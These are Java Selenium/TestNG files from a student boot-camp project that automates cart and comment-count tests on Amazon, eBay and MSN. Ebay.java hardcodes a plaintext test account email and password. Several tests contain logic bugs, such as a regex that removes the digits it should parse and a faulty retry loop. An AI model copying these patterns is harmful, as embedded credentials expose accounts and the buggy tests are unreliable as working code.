sb.append("Object Type: ");
sb.append(obj.getClass().getSimpleName());
sb.append("\tFields are: ");
sb.append(Arrays.toString(getFieldNames(obj)));
sb.append("\n");
sb.append("\tMethods are: ");
sb.append(Arrays.toString(getMethodNames(obj)));
sb.append("\n");
return sb.toString();
}
// Uses Reflection API
public static String[] getMethodNames(Object obj) {
String[] names;
ArrayList<String> methodNames = new ArrayList<String>();
Method[] methods = obj.getClass().getMethods();
for (Method method : methods) {
methodNames.add(method.getName());
}
names = new String[methodNames.size()];
methodNames.toArray(names);
return names;
}
/*
* // Methods which call Object methods getClass().getSimpleName(),
* toString(), // and in a readable form both to display and get String
* value of Object public static void display2Array(Object[][] objects) {
* System.out.println(get2DInfo(objects)); } public static void
* displayInfo(Object obj) { System.out.println("This object is named: " +
* obj.getClass().getName()); System.out.println("\tThe object is of type: "
* + obj.getClass().getSimpleName()); System.out.println(
* "\tThe number of modifiers are: " + obj.getClass().getModifiers());
* System.out.println("\tThe fields are: " +
* Arrays.deepToString(obj.getClass().getFields())); System.out.println(
* "\tThe methods are: " +
* Arrays.deepToString(obj.getClass().getDeclaredMethods())); } public
* static void displayInfo(Object obj1, Object obj2, Object... objN) {
* displayInfo(obj1); displayInfo(obj2); for (Object object : objN) {
* displayInfo(object); } } public static void displayInfo(Object[] obj1) {
* for (Object object : obj1) { displayInfo(object); } } public static
* String get2DInfo(Object[][] objects) { StringBuilder builder = new
* StringBuilder(); for (Object[] objects2 : objects) { for (Object object :
* objects2) { builder.append("\""); builder.append(object.toString());
* builder.append("\"\t"); } builder.append("\n"); } return
* builder.toString(); } public static String getInfo(Object obj) {
* StringBuilder builder = new StringBuilder(); builder.append(
* "[ This object is named = "); builder.append(obj.getClass().getName());
* builder.append(", The object is of type = ");
* builder.append(obj.getClass().getSimpleName()); builder.append(
* ", tThe number of modifiers are = ");
* builder.append(obj.getClass().getModifiers()); builder.append(
* ", tThe fields are = ");
* builder.append(Arrays.deepToString(obj.getClass().getFields()));
* builder.append(", The methods are = ");
* builder.append(Arrays.deepToString(obj.getClass().getDeclaredMethods()));
* builder.append(" ]"); return builder.toString(); }
*/
}
```
Amazon.java
```package com.sqa.em.shopping;
import static org.testng.Assert.assertEquals;
import static org.testng.Assert.fail;
import org.openqa.selenium.Alert;
import org.openqa.selenium.By;
import org.openqa.selenium.NoAlertPresentException;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.WebDriver;
import org.testng.Assert;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test;
import com.sqa.em.util.helper.ReadFromFile;
import com.sqa.em.util.helper.SelectBrowser;
import com.sqa.em.util.helper.SelectBrowser.BROWSER_TYPE;
import com.sqa.em.util.helper.TakeAndSaveScreenShot;
/**
* Amazon //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0 1. User adds a certain quantity of an item to their cart Validate
* that the user has added that number of items to their cart. 2. User
* adds three items to their cart. Validate that the total cost comes out
* to what they would expect to have in their shopping cart. 3. (Create
* your own test case) User deleted a number of items of their cart if
* there are items. Validate that the items were deleted.
*/
//
public class Amazon {
public String BASE_URL_AMAZON = "https://www.amazon.com";
private WebDriver driver;
public String email = "";
public String password = "";
public boolean acceptNextAlert = true;
public StringBuffer verificationErrors = new StringBuffer();
@DataProvider
public Object[][] addItemsToCartData() {
return new Object[][] { new Object[] { 3 } };
}
@Test(enabled = true, dataProvider = "addItemsToCartData")
public void addItemsToCartTest(Integer numOfItems) {
int startCountOfCart = Integer.parseInt(
this.driver.findElement(By.xpath("//a[@id='nav-cart']/span[4]")).getText());
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/BeforeAddingItems.png");
addItems(numOfItems, "computer");
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/AfterAddingItems.png");
int endCountOfCart = Integer.parseInt(
this.driver.findElement(By.xpath("//a[@id='nav-cart']/span[4]")).getText());
int itemsAddedToCart =
(startCountOfCart == 0) ? endCountOfCart : endCountOfCart - startCountOfCart;
assertEquals(itemsAddedToCart, (int) numOfItems);
}
private void addItems(Integer numOfItems, String searchText) {
for (int i = 0; i < numOfItems; i++) {
this.driver.findElement(By.xpath(".//input[@id='twotabsearchtextbox']")).clear();
this.driver.findElement(By.xpath(".//input[@id='twotabsearchtextbox']"))
.sendKeys(searchText);
this.driver.findElement(By.id("nav-search-submit-text")).click();
this.driver.findElement(By.cssSelector(
".a-size-base.a-color-null.s-inline.s-access-title.a-text-normal"));
this.driver.findElement(By.xpath(".//.[@id='result_0']/div/div[2]/div[1]/a/h2"))
.click();
// CSS #add-to-cart-button-ubb,#add-to-cart-button,
this.driver.findElement(By.xpath(".//input[contains(@id,'add-to-cart-button')]"))
.click();
}
}
@AfterClass
public void afterClass() {
this.driver.findElement(By.xpath(".//*[@id='nav-link-yourAccount']")).click();
this.driver.findElement(By.xpath(".//*[@id='nav-item-signout']/span")).click();
this.driver.quit();
String verificationErrorString = this.verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}
@BeforeClass
public void beforeClass() {
String details = ReadFromFile.getRows(2,
"src/test/java/com/sqa/em/shopping/properties.amazon.login");
String[] userDetails = details.split("\\n");
setPassword(userDetails[1]);
setEmail(userDetails[0]);
this.driver = SelectBrowser.getBrowser(BROWSER_TYPE.fireFox, this.driver, 30);
this.driver.get(this.BASE_URL_AMAZON + "/");
this.driver.findElement(By.xpath(".//a[@id='nav-link-yourAccount']")).click();
// Enter email
this.driver.findElement(By.xpath(".//input[@id='ap_email']")).clear();
this.driver.findElement(By.xpath(".//input[@id='ap_email']")).sendKeys(getEmail());
// Enter password
this.driver.findElement(By.xpath(".//input[@id='ap_password']")).clear();
this.driver.findElement(By.xpath(".//input[@id='ap_password']")).sendKeys(getPassword());
this.driver.findElement(By.xpath(".//input[@id='signInSubmit']")).click();
}
// cartNotExceedsCost
@DataProvider
public Object[][] cartNotExceedsCostData() {
return new Object[][] { new Object[] { 5.00 }, new Object[] { 6000.00 } };
}
@Test(enabled = true, dataProvider = "cartNotExceedsCostData")
public void cartNotExceedsCostTest(Double expectedCost) {
double startCost = 0;
double finalCost = 0;
int numOfItems = 3;
int startCountOfItemsInCart = 0;
int itemsAddedToCart = 0;
int endCountOfCart = 0;
startCost = getCurrentTotalCostOnCart();
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/OriginalAmount.png");
addItems(3, "computers");
finalCost = getCurrentTotalCostOnCart();
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/FinalAmount.png");
System.out.println("Inital Cost before adding items = $" + startCost);
System.out.println("Final Cost after adding items = $" + finalCost);
System.out.println("Difference of cost based on items added = $" + (finalCost - startCost));
System.out.println("Budget for new items added to cart = $" + expectedCost);
Assert.assertTrue(expectedCost >= (finalCost - startCost));
}
/**
* @param currentCost
*/
private Double getCurrentTotalCostOnCart() {
if ((Integer.parseInt(this.driver.findElement(By.id("nav-cart-count")).getText())) > 0) {
String delimiter = " |\\n|\\t";
this.driver.findElement(By.id("nav-cart")).click();
String text = this.driver.findElement(By.id("gutterCartViewForm")).getText();
String[] string = text.split(delimiter);
for (String string2 : string) {
if (string2.contains("$")) {
string2 = string2.replace("$", "");
string2 = string2.replace(",", "");// over $1,000
return Double.parseDouble(string2);
}
}
} else {
return 0.0;
}
return null;
}
@DataProvider
public Object[][] deleteItemsFromCartData() {
return new Object[][] { new Object[] { 1 } };
}
@Test(enabled = true, dataProvider = "deleteItemsFromCartData")
public void deleteItemsFromCartTest(Integer itemsToDelete) {
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/BeforeDeletingItems.png");
int itemsInCart = Integer.parseInt(
this.driver.findElement(By.xpath("//a[@id='nav-cart']/span[4]")).getText());
if ((itemsInCart < 1)) {
System.out.println("There are zero Items in Cart");
Assert.fail();
} else {
if (itemsToDelete < 1) {
System.out.println("Nothing to Delete :-)");
} else {
if (itemsToDelete > itemsInCart) {
System.out.println(
"There are less items in the Cart than the amount needed to delete");
Assert.fail();
} else {
for (int i = 0; i < itemsToDelete; i++) {
this.driver.findElement(By.id("nav-cart")).click();
this.driver.findElement(By.id("a-autoid-2-announce")).click();
this.driver.findElement(By.id("dropdown1_0")).click();
this.driver.findElement(By.xpath(".//input[@value='Delete']")).click();
}
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/amazon/ScreenShots/AfterDeletingItems.png");
}
}
}
}
/**
* @return the email
*/
public String getEmail() {
return this.email;
}
/**
* @return the password
*/
public String getPassword() {
return this.password;
}
/**
* @param email
* the email to set
*/
public void setEmail(String email) {
this.email = email;
}
/**
* @param password
* the password to set
*/
public void setPassword(String password) {
this.password = password;
}
private String closeAlertAndGetItsText() {
try {
Alert alert = this.driver.switchTo().alert();
String alertText = alert.getText();
if (this.acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
this.acceptNextAlert = true;
}
}
private boolean isAlertPresent() {
try {
this.driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}
private boolean isElementPresent(By by) {
try {
this.driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}
}
```
TakeAndSaveScreenShot.java
```/**
* File Name: TakeAndSaveScreenShot.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Feb 27, 2016
*/
package com.sqa.em.util.helper;
import java.io.File;
import java.io.IOException;
import org.apache.commons.io.FileUtils;
import org.openqa.selenium.OutputType;
import org.openqa.selenium.TakesScreenshot;
import org.openqa.selenium.WebDriver;
/**
* TakeAndSaveScreenShot //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class TakeAndSaveScreenShot {
/**
* Will take a screen shot and save to the locate as well with the specified
* name.type
*
* @param driver
* @param fileLocationAndName
* make usre to also include the file type after the name
* (.png...)
*/
static public void screenShot(WebDriver driver, String fileLocationAndName) {
File scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
try {
FileUtils.copyFile(scrFile, new File(fileLocationAndName));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
```
UpdateArrays.java
```/**
* File Name: UpdateArray.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Jan 30, 2016
*/
package com.sqa.em.util.helper;
import java.util.Arrays;
/**
* UpdateArray //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class UpdateArrays {
/**
* Will add one element to an existing array
*
* @param elements
* An array of strings.
* @param addString
* The one that will be added to the array
* @return will return the array of strings.
*/
public static String[] addStringElement(String[] elements, String addString) {
// Declaration of variables
String[] newStringArray;
if (elements != null) {
newStringArray = Arrays.copyOf(elements, elements.length + 1);
newStringArray[elements.length] = addString;
} else {
newStringArray = new String[1];
newStringArray[0] = addString;
}
return newStringArray;
}
}
```
README.md
```--
# Shopping at msn, eBay, Amazon
* Create 9 test cases.
* All of these test case scenarios should have 3 sets of data, each using a data driven approach.
* Amazon (ME):
* User adds a certain quantity of an item to their cart. Validate that the user has added that number of items to their cart.
* User adds three items to their cart. Validate that the total cost comes out to what they would expect to have in their shopping cart.
* User deleted a number of items of their cart if there are items. Validate that the items were deleted.
* Ebay (Denies):
* User watches a particular item. Validate that the item is in the user's account as that item being watched.
* Navigate through the dropdown menu from the top of the Screen to a particular item (ex Power Sports). Select one of the images on the home page of those items. Add the first item on the list. Validate that this item is added to your cart.
* ?(Create your own test case)
* MSN:
* User select the first item on the Editors' Pick. User than clicks on the comments at the botom. Validate that the number of comments is only between 10-50 comments.
* User selects at topic from the menu at the top. Validate that their are at least 6 items under a specific topic within that category.
* ?(Create your own test case)
### Additional Notes:
* Allow tests to support a Data Driven Approach by providing separate data providers to for each test case scenario.
* You may hard-coding data - although it would be preferred if you got the data from an external source (text file, excel file, database).
* Try to support at least 3 browsers.
* Use a base framework to speed up time in getting started, use of helper methods is encouraged.
* Take screenshots during the execution of your code and store these screen shots in a folder under your projects working directory.
* Commit on a file-by-file basis at minimum.
```
SelectBrowser.java
```/**
* File Name: SelectBrowser.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Feb 28, 2016
*/
package com.sqa.em.util.helper;
import java.util.concurrent.TimeUnit;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.ie.InternetExplorerDriver;
/**
* SelectBrowser //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class SelectBrowser {
static public enum BROWSER_TYPE {
fireFox, internetExplorer, googleChrome
}
static public WebDriver getBrowser(BROWSER_TYPE browser, WebDriver driver, int inpliciteWait) {
switch (browser) {
case fireFox:
driver = new FirefoxDriver();
break;
case internetExplorer:
System.setProperty("webdriver.ie.driver", "drivers/IEDriverServer.exe");
driver = new InternetExplorerDriver();
break;
case googleChrome:
System.setProperty("webdriver.chrome.driver", "drivers/chromedriver.exe");
driver = new ChromeDriver();
break;
default:
System.out.println("Switch Statement needs to be updated because browser(" + browser
+ ") requested was not found?");
break;
}
if (inpliciteWait > 0) {
driver.manage().timeouts().implicitlyWait(inpliciteWait, TimeUnit.SECONDS);
}
return driver;
}
}
```
Ebay.java
```package com.sqa.em.shopping;
import java.util.List;
import org.openqa.selenium.By;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.interactions.Actions;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test;
import junit.framework.Assert;
public class Ebay {
// Declaring variables
public static String baseURL = "http://www.ebay.com/";
public static String userName = "testebayautomation@gmail.com";
public static String userPassword = "testqa123";
private WebDriver driver;
public int attemptNum = 0;
public boolean exitFlag = false;
public String zeroListings, itemNumber, itemNameOnSearch, itemNameInCart;
long numListing, itemNumberOnSearchPage, itemNumberOnWatchList;
public int pageNum = 1;
public int itemNum = 0;
@AfterClass
public void afterClass() {
// Quit Driver
// driver.quit();
}
@BeforeClass
public void beforeClass() throws InterruptedException {
do {
// Launch FireFox browser
Thread.sleep(1000);
driver = new FirefoxDriver();
// Navigate to url
Thread.sleep(1000);
driver.get(baseURL);
Thread.sleep(1000);
// Verification if the page is correct
if (driver.getCurrentUrl().equals(baseURL)) {
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("The page is verified: " + driver.getCurrentUrl());
} else {
// In case if the page is wrong then code will make 3 attempts
// to get the correct page.
System.out.println("Wrong page!");
// Quit Driver
driver.close();
attemptNum++;
System.out.println("Attempt: " + attemptNum);
}
} while (!(driver.getCurrentUrl().equals(baseURL)) || (attemptNum == 3));
// Error message if the code couldn't get proper page after 3 attempts
if (attemptNum == 3) {
System.out
.println("Please verify the URL. According the requirements it should be http://www.ebay.com/ \n");
driver.quit();
}
// Login
driver.findElement(By.cssSelector("#gh-ug>a")).click();
// Thread.sleep(8000);
Boolean loginIsVisiable = (new WebDriverWait(driver, 20))
.until(ExpectedConditions.elementToBeSelected(By.linkText("Email or username")));
driver.findElement(By.linkText("Email or username")).sendKeys(userName);
driver.findElement(By.linkText("Password")).sendKeys(userPassword);
driver.findElement(By.xpath("//input[contains(@placeholder,'Email')]")).sendKeys(userName);
driver.findElement(By.xpath("//input[contains(@placeholder,'Password')]")).sendKeys(userPassword);
driver.findElement(By.id("sgnBt")).click();
Thread.sleep(1000);
}
@Test(enabled = false)
public void cartTest2() throws InterruptedException {
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("===Test 2: Shopping Cart functionality.===");
Actions actions = new Actions(driver);
Thread.sleep(3000);
WebElement mainMenu = driver.findElement(By.xpath("//*[@id='navigationFragment']/div/table/tbody/tr/td[9]"));
actions.moveToElement(mainMenu).build().perform();
WebElement subLink = driver.findElement(By.xpath("//a[contains(@title, 'Sporting Goods - Fishing')]"));
Thread.sleep(3000);
actions.click(subLink).build().perform();
driver.findElement(By.xpath("//*[@id='VisualNav']/a[2]/div")).click();
do {
Thread.sleep(3000);
List<WebElement> linksRodsItems = driver.findElements(By.className("vip"));
linksRodsItems.get(itemNum).click();
try {
Thread.sleep(3000);
if (driver.findElement(By.xpath("//*[@id='isCartBtn_btn']")).isDisplayed()) {
itemNameOnSearch = driver.findElement(By.id("itemTitle")).getText();
System.out.println("The name of item on Search page is " + itemNameOnSearch);
driver.findElement(By.xpath("//*[@id='isCartBtn_btn']")).click();
if (driver.findElement(By.xpath("//*[@id='pageLevelMessaing']/div/div/i")).isDisplayed()) {
itemNameInCart = driver
.findElement(By.xpath("//div[contains(@class, 'ff-ds3 fs16 mb5 fw-n sci-itmttl')]"))
.getText();
System.out.println("The name of item in a Cart is " + itemNameInCart);
if (itemNameOnSearch.equals(itemNameInCart)) {
System.out.println("Search item and item in a cart are the same.");
System.out.println("The test was succesfull.");
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("\n");
exitFlag = true;
} else {
Assert.fail("Search item and item in a cart don't match. Test failed.");
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("\n");
driver.quit();
System.exit(0);
}
}
}
} catch (Exception e) {
driver.navigate().back();
itemNum++;
}
} while (exitFlag == false);
driver.findElement(By.xpath("//*[@id='gh']/table/tbody/tr/td[1]")).click();
}
@DataProvider(name = "test1")
public Object[][] dp() {
// TODO: Implement method
return new Object[][] { { "Test 1", "kshfkajhfkajhdfk", "asjndasndasnd" } };
}
@DataProvider(name = "test2")
public Object[][] dp2() {
// TODO: Implement method
return new Object[][] { {} };
}
@DataProvider(name = "test3")
public Object[][] dp3() {
// TODO: Implement method
return new Object[][] { {} };
}
@Test(enabled = true)
public void myTest3() throws InterruptedException {
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("===Test 3: My test.===");
Actions actions = new Actions(driver);
Thread.sleep(3000);
WebElement mainMenu = driver.findElement(By.id("gh-ug"));
actions.moveToElement(mainMenu).build().perform();
WebElement subLink = driver.findElement(By.linkText("Account settings"));
Thread.sleep(3000);
actions.click(subLink).build().perform();
try {
if (!(driver
.findElement(By.xpath("//*[@id='mainContent']/table[4]/tbody/tr[2]/td/table/tbody/tr[2]/td[3]/a")))
.isDisplayed()) {
System.out.println("Looks like you don't have any billing info set.");
System.out.println(
"Then you actually don't need anything in watch list and cart. LEt me remove everything.");
driver.findElement(By.id("gh-cart-i")).click();
List<WebElement> linksItemsToRemove = driver.findElements(By.linkText("Remove"));
for (WebElement i : linksItemsToRemove) {
driver.findElement(By.xpath("/a[contains(@linkText, 'Remove')]")).click();
}
}
} catch (NoSuchElementException e) {
System.out.println("The billing info is set. then please go ahead and purchase something! :)");
System.out.println("Completing the test.");
System.out.println("<<<<<<<<>>>>>>>>");
// Quit Driver
// driver.close();
driver.quit();
System.exit(0);
}
}
@Test(enabled = false)
public void watchListTest1(String testName, String searchItem, String searchItemName) throws InterruptedException {
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("===Test 1: Watch list functionality.===");
// Verifying if our item exists in Ebay.
Thread.sleep(700);
// Search using keyword Java
driver.findElement(By.id("gh-ac")).sendKeys(searchItem);
Thread.sleep(700);
driver.findElement(By.xpath("//*[@id='gh-btn']")).click();
Thread.sleep(700);
zeroListings = driver.findElement(By.cssSelector("span.listingscnt")).getText().replaceAll("[^0-9]", "");
numListing = Integer.parseInt(zeroListings);
System.out.println("Ebay has " + numListing + " listings that match your search.");
if (numListing == 0) {
System.out.println("Ebay doesn't have your item on sale.");
driver.findElement(By.xpath("//*[@id='gh']/table/tbody/tr/td[1]")).click();
System.out.println("Completing the test.");
System.out.println("<<<<<<<<>>>>>>>>");
driver.findElement(By.xpath("//*[@id='gh-ug']/b[1]")).click();
driver.findElement(By.xpath("//*[@id='gh-uo']/a")).click();
// Quit Driver
// driver.quit();
// System.exit(0);
} else {
// Verifying if there is nothing in Watch list and delete if
// anything is
// there
driver.findElement(By.xpath("//*[@id='gh-eb-My']/div/a[1]")).click();
driver.findElement(By.xpath("//*[@id='domain-nav']/div[2]/div[2]/ul/li[2]/a")).click();
try {
Thread.sleep(3000);
if (driver.findElement(By.xpath("//*[@id='watchlist']/div[2]/div[1]/div[1]/input")).isDisplayed()) {
driver.findElement(By.xpath("//*[@id='watchlist']/div[2]/div[1]/div[1]/input")).click();
driver.findElement(By.xpath("//*[@id='watchlist']/div[2]/div[1]/div[1]/div/a[1]")).click();
Thread.sleep(1000);
driver.findElement(By.xpath("//*[@id='delCustpBtnSave']")).click();
}
} catch (NoSuchElementException e) {
System.out.println("The watch list is empty.");
}
Thread.sleep(700);
// Search using keyword Java
driver.findElement(By.id("gh-ac")).sendKeys(searchItem);
Thread.sleep(700);
driver.findElement(By.xpath("//*[@id='gh-btn']")).click();
Thread.sleep(700);
// Looking for a book with the keyword
while ((exitFlag == false) && (pageNum != 4)) {
Thread.sleep(3000);
try {
if (driver.findElement(By.partialLinkText(searchItemName)).isDisplayed()) {
exitFlag = true;
// Click on the book if it's displayed
driver.findElement(By.partialLinkText(searchItemName)).click();
itemNumber = driver.findElement(By.id("descItemNumber")).getText().replaceAll("[^0-9]", "");
itemNumberOnSearchPage = Long.parseLong(itemNumber.trim());
System.out.println("The item number on Search page is " + itemNumberOnSearchPage);
// break;
}
} catch (NoSuchElementException e) {
System.out.println("Couldn't find your item on page #" + pageNum + ".");
// Click Next button and search for the book again
driver.findElement(By.xpath("//*[@id='Pagination']/tbody/tr/td[3]/a")).click();
pageNum++;
}
}
if (pageNum == 4) {
System.out.println("Per test requirements, only first three pages should be searched.");
System.out.println("Completing the test.");
System.out.println("<<<<<<<<>>>>>>>>");
// Quit Driver
// driver.close();
driver.quit();
System.exit(0);
}
Thread.sleep(500);
driver.findElement(By.xpath("//*[@id='vi-atl-lnk']/a/span[2]")).click();
driver.findElement(By.xpath("//*[@id='gh-eb-My']/div/a[1]")).click();
// Have to replace first extra two and last extra two chars from
// item
// number
Thread.sleep(3000);
itemNumber = driver.findElement(By.className("display-item-id")).getText().replaceAll("[^0-9]", "");
itemNumberOnWatchList = Long.parseLong(itemNumber.trim());
System.out.println("The item number on Watch List is " + itemNumberOnWatchList);
// Matching the item numbers to figure out if the book is on the
// watch
// list
if (itemNumberOnSearchPage == itemNumberOnWatchList) {
System.out.println("The book is on watch list.");
}
driver.findElement(By.xpath("//*[@id='gh']/table/tbody/tr/td[1]")).click();
System.out.println("The test was succesfull.");
System.out.println("<<<<<<<<>>>>>>>>");
System.out.println("\n");
}
}
}```
Msn.java
```package com.sqa.em.shopping;
import static org.testng.Assert.fail;
import org.openqa.selenium.By;
import org.openqa.selenium.NoAlertPresentException;
import org.openqa.selenium.NoSuchElementException;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.interactions.Actions;
import org.testng.Assert;
import org.testng.annotations.AfterClass;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import com.sqa.em.util.helper.SelectBrowser;
import com.sqa.em.util.helper.SelectBrowser.BROWSER_TYPE;
import com.sqa.em.util.helper.TakeAndSaveScreenShot;
public class Msn {
public String BASE_URL = "https://www.msn.com";
private WebDriver driver;
public boolean acceptNextAlert = true;
public StringBuffer verificationErrors = new StringBuffer();
@AfterClass(enabled = false)
public void afterClass() {
// this.driver.quit();
String verificationErrorString = this.verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}
@BeforeClass
public void beforeClass() {
this.driver = SelectBrowser.getBrowser(BROWSER_TYPE.fireFox, this.driver, 30);
this.driver.manage().window().maximize();
this.driver.get(this.BASE_URL + "/");
}
// @DataProvider
// public Object[][] selectEditorsPickData() {
// return new Object[][] { new Object[] { 1 }, new Object[] { 2 }, };
// }
/**
* Will Select the 1st topic of the editors pick and then assert the
* comments are between 10 an 100.
*/
@Test(enabled = false)
public void selectEditorsPickAndAssertCommentsCount() {
// Move to Editors Pick and get all links.
WebElement menuElm = this.driver.findElement(By.cssSelector("[data-aop*='editorsPick1']"));
Actions actions = new Actions(this.driver);
actions.moveToElement(menuElm);
String[] linkName = menuElm.getText().split("\n");
actions.perform();
TakeAndSaveScreenShot.screenShot(this.driver, "test-output/msn/ScreenShots/HomePage.png");
// click on the 1st topic
WebElement link = this.driver.findElement(By.linkText(linkName[1]));
actions.moveToElement(link);
link.click();
actions.perform();
TakeAndSaveScreenShot.screenShot(this.driver, "test-output/msn/ScreenShots/1st Pick.png");
// Verify that the comments for the topic is between 10 and 100
WebElement countComments = this.driver.findElement(By.cssSelector("#comment-count"));
actions.moveToElement(countComments);
System.out.println("Total Coumments ========> " + countComments.getText());
String commentsString = countComments.getText();
actions.perform();
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/msn/ScreenShots/comments section.png");
int num = getCountOfComments(actions);
Assert.assertEquals(((num >= 10) && (100 >= num)), true,
"Comments count(currently has " + num + ") are not within the desired range.\n");
}
/**
* @param Actions
* @return The count of comments for that string.
*/
private int getCountOfComments(Actions actions) {
WebElement countComments = this.driver.findElement(By.cssSelector("#comment-count"));
actions.moveToElement(countComments);
System.out.println("Total Coumments ========> " + countComments.getText());
String commentsString = countComments.getText();
actions.perform();
TakeAndSaveScreenShot.screenShot(this.driver,
"test-output/msn/ScreenShots/comments section.png");
String countOfCoumments = commentsString.replaceAll("(?:[0-9])", "");
int num = Integer.parseInt(countOfCoumments);
return num;
}
@Test
public void selectTopicAndAssertCommentsCount() {
Actions actions = new Actions(this.driver);
this.driver.findElement(By.cssSelector(".news>a")).click();
this.driver.findElement(By.cssSelector(".loaded")).click();
this.driver.findElement(By.cssSelector(".smalla.index0>a>div>h4")).click();
int num = getCountOfComments(actions);
Assert.assertEquals(((num >= 6)), true,
"Comments count(currently has " + num + ") are not within the minimum range.\n");
}
@Test
public void selectTheTopickYouWantToCountComments() {
}
private boolean isAlertPresent() {
try {
this.driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}
private boolean isElementPresent(By by) {
try {
this.driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}
}
```
ReadFromFile.java
```/**
* File Name: readFromFile.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Feb 22, 2016
*/
package com.sqa.em.util.helper;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
/**
* readFromFile //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class ReadFromFile {
static String locationOfFile;
/**
* @param args
*/
public static String getRows(int rows, String fileLocation) {
String[] tem = null;
String everything = null;
try (BufferedReader br = new BufferedReader(new FileReader(fileLocation))) {
StringBuilder sb = new StringBuilder();
String line = br.readLine();
while (line != null) {
sb.append(line);
sb.append(System.lineSeparator());
line = br.readLine();
}
everything = sb.toString();
} catch (IOException e) {
System.out.println(e.toString());
}
return everything;
}
}
```
RequestInput.java
```/**
* File Name: RequestInput.java<br>
* Mora, Eduardo<br>
* Java Boot Camp Exercise<br>
* Instructor: Jean-francois Nepton<br>
* Created: Jan 27, 2016
*/
package com.sqa.em.util.helper;
import java.util.Scanner;
/**
* RequestInput //ADDD (description of class)
* <p>
* //ADDD (description of core fields)
* <p>
* //ADDD (description of core methods)
*
* @author Mora, Eduardo
* @version 1.0.0
* @since 1.0
*/
public class RequestInput {
// Do recieve input from the users keyboard
private static Scanner scanner = new Scanner(System.in);
/**
* Static Helper Method which asks user specified question and as long as
* they give a input will return a boolean type variable.
*
* @return Boolean value based on user input
*/
public static String getStringIgnoreCase(String question, String... words) {
while (true) {
// Declare Local Variables
boolean present = false;
// Get the character using alternative method to get a char
String input = RequestInput.getString(question);
// Iterate through the supplied chars and see if it is present
for (int i = 0; i < words.length; i++) {
if ((words[i].equalsIgnoreCase(input))) {
present = true;
}
}
// If present variable is set to true and it is a valid option
if (present == true) {
// return the character
return input;
} else {
// Give an error message
System.out.println("You have not entered a valid word (" + input + ").");
// Continue with next iteration
continue;
}
}
}
/**
* Static Helper Method ask user for an input (Yes/No) if such input is not
* enter will loop until it is selected
*
* @return boolean Is based on Yes/No input from the user
*/
public static boolean getBoolean(String question) {
String input;
while (true) {
System.out.print(question + " (Yes/Y) or (No/N): ");
input = scanner.nextLine();
if (input.equalsIgnoreCase("Yes") || (input.equalsIgnoreCase("Y"))) {
return true;
} else if (input.equalsIgnoreCase("No") || (input.equalsIgnoreCase("N"))) {
return false;
} else
System.out.println("You have not enter a valid option, please choose Yes/Y or No/N.");
}
}
/**
* Static Helper Method which asks user for a char. If more or less than one
* char is entered it will loop until only one is entered.
*
* @return the char the user enter
*/
public static char getChar(String question) {
// Local variable to hold input
String input;
char character = ' ';
// Infinit loop to look out for valid options
while (true) {
try {
// Ask the user a question to get relative input
System.out.print(question);
// Set the input based on what the user enters on their keyboard
input = scanner.nextLine();
